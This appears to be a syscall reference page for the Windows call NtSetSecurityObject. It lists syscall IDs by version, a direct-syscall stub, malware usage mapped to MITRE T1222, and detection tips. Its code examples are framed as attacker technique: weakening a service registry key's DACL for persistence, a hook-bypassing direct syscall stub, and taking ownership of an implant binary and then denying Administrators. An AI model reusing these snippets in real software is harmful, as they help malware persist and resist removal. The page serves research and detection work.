NtSetSecurityObject
Writes a new SECURITY_DESCRIPTOR (owner / DACL / SACL / label) onto a kernel object by handle.
Prototype
NTSTATUS NtSetSecurityObject( HANDLE Handle, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR SecurityDescriptor );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| Handle | HANDLE | in | Handle to the target object. Required access depends on the SecurityInformation bits: WRITE_DAC for DACL, WRITE_OWNER for OWNER, ACCESS_SYSTEM_SECURITY for SACL. |
| SecurityInformation | SECURITY_INFORMATION | in | Bitmask of parts to write — must match the components present in SecurityDescriptor. |
| SecurityDescriptor | PSECURITY_DESCRIPTOR | in | Pointer to the self-relative or absolute security descriptor to apply. |
Syscall IDs by Windows version
| Windows version | Syscall ID | Build |
|---|---|---|
| Win10 1507 | 0x18B | win10-1507 |
| Win10 1607 | 0x194 | win10-1607 |
| Win10 1703 | 0x19A | win10-1703 |
| Win10 1709 | 0x19D | win10-1709 |
| Win10 1803 | 0x19F | win10-1803 |
| Win10 1809 | 0x1A0 | win10-1809 |
| Win10 1903 | 0x1A1 | win10-1903 |
| Win10 1909 | 0x1A1 | win10-1909 |
| Win10 2004 | 0x1A7 | win10-2004 |
| Win10 20H2 | 0x1A7 | win10-20h2 |
| Win10 21H1 | 0x1A7 | win10-21h1 |
| Win10 21H2 | 0x1A9 | win10-21h2 |
| Win10 22H2 | 0x1A9 | win10-22h2 |
| Win11 21H2 | 0x1B2 | win11-21h2 |
| Win11 22H2 | 0x1B6 | win11-22h2 |
| Win11 23H2 | 0x1B6 | win11-23h2 |
| Win11 24H2 | 0x1B9 | win11-24h2 |
| Server 2016 | 0x194 | winserver-2016 |
| Server 2019 | 0x1A0 | winserver-2019 |
| Server 2022 | 0x1AF | winserver-2022 |
| Server 2025 | 0x1B9 | winserver-2025 |
Kernel module
Related APIs
Syscall stub
4C 8B D1 mov r10, rcx B8 B9 01 00 00 mov eax, 0x1B9 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undocumented notes
The write half of the security-descriptor pair. The kernel merges, replaces, or removes ACEs according to which control flags are set on the supplied descriptor (SE_DACL_PROTECTED, SE_SACL_PROTECTED, …). SeAssignSecurityEx performs the actual merge, with inheritance rules applied when the object is a container. Returns STATUS_INVALID_OWNER if the supplied owner SID is not enabled in the caller's token, and STATUS_PRIVILEGE_NOT_HELD when SACL is requested without SE_SECURITY_NAME.
Common malware usage
T1222 *Permissions Modification* is the canonical use. Two scenarios dominate. (1) **Persistence hardening on registry**: weaken the DACL of `HKLM\SYSTEM\CurrentControlSet\Services\<implant>` so a low-priv user can later rewrite ImagePath / Parameters without needing admin (T1222.001). (2) **Implant self-protection on files**: tighten the DACL of the implant's own EXE/DLL so SYSTEM-level AV remediation hits ACCESS_DENIED, or even strip Administrators from the DACL after taking ownership — this is how some ransomware notes (and the encryptor itself) survive deletion attempts (T1222.002). Carbanak/FIN7 have used both patterns against services and scheduled-task files.
Detection opportunities
High-fidelity signal when the *target object* is sensitive. Object-Access Audit Event 4670 (Permissions on an object were changed) fires when SACL audit is configured on the target — but SACLs on `HKLM\System\...` are rarely set by default. Sysmon Event 4 (sysmon service state) does not cover this; *EDR* hooks on NtSetSecurityObject or on the higher-level RtlSetSecurityObject are the practical detection. Look for: any process other than `services.exe`, `TrustedInstaller`, `msiexec`, or domain-policy-driven binaries writing a DACL on a service registry key or on a file under Program Files. A weakened DACL that grants `Everyone:F` or `Authenticated Users:F` to a service ImagePath is essentially a smoking gun.
Direct syscall examples
cWeaken DACL on a service registry key (skeleton)
// Add an explicit Allow-Full-Control ACE for Authenticated Users on the
// service's registry key, enabling later config rewrite without admin.
PSECURITY_DESCRIPTOR sd = NULL;
ULONG sdLen = 0;
ConvertStringSecurityDescriptorToSecurityDescriptorW(
L"D:(A;OICI;GA;;;AU)", // Authenticated Users : Generic All, container+object inherit
SDDL_REVISION_1, &sd, &sdLen);
NTSTATUS st = NtSetSecurityObject(hSvcKey, DACL_SECURITY_INFORMATION, sd);
// hSvcKey must have been opened with WRITE_DAC.
LocalFree(sd);asmx64 direct stub (Win11 24H2 SSN 0x1B9)
NtSetSecurityObject PROC
mov r10, rcx
mov eax, 1B9h
syscall
ret
NtSetSecurityObject ENDPrustTake ownership of own binary, then deny Administrators
// Cargo: windows-sys = "0.59", ntapi = "0.4"
// Step 1: take ownership (requires SeTakeOwnershipPrivilege enabled).
unsafe {
NtSetSecurityObject(h_file,
OWNER_SECURITY_INFORMATION,
owner_sd_with_self_sid.as_ptr() as _);
}
// Step 2: now write a DACL that denies Administrators Delete/WriteAttrib.
unsafe {
NtSetSecurityObject(h_file,
DACL_SECURITY_INFORMATION,
deny_admins_dacl.as_ptr() as _);
}MITRE ATT&CK mappings
Last verified: 2026-05-20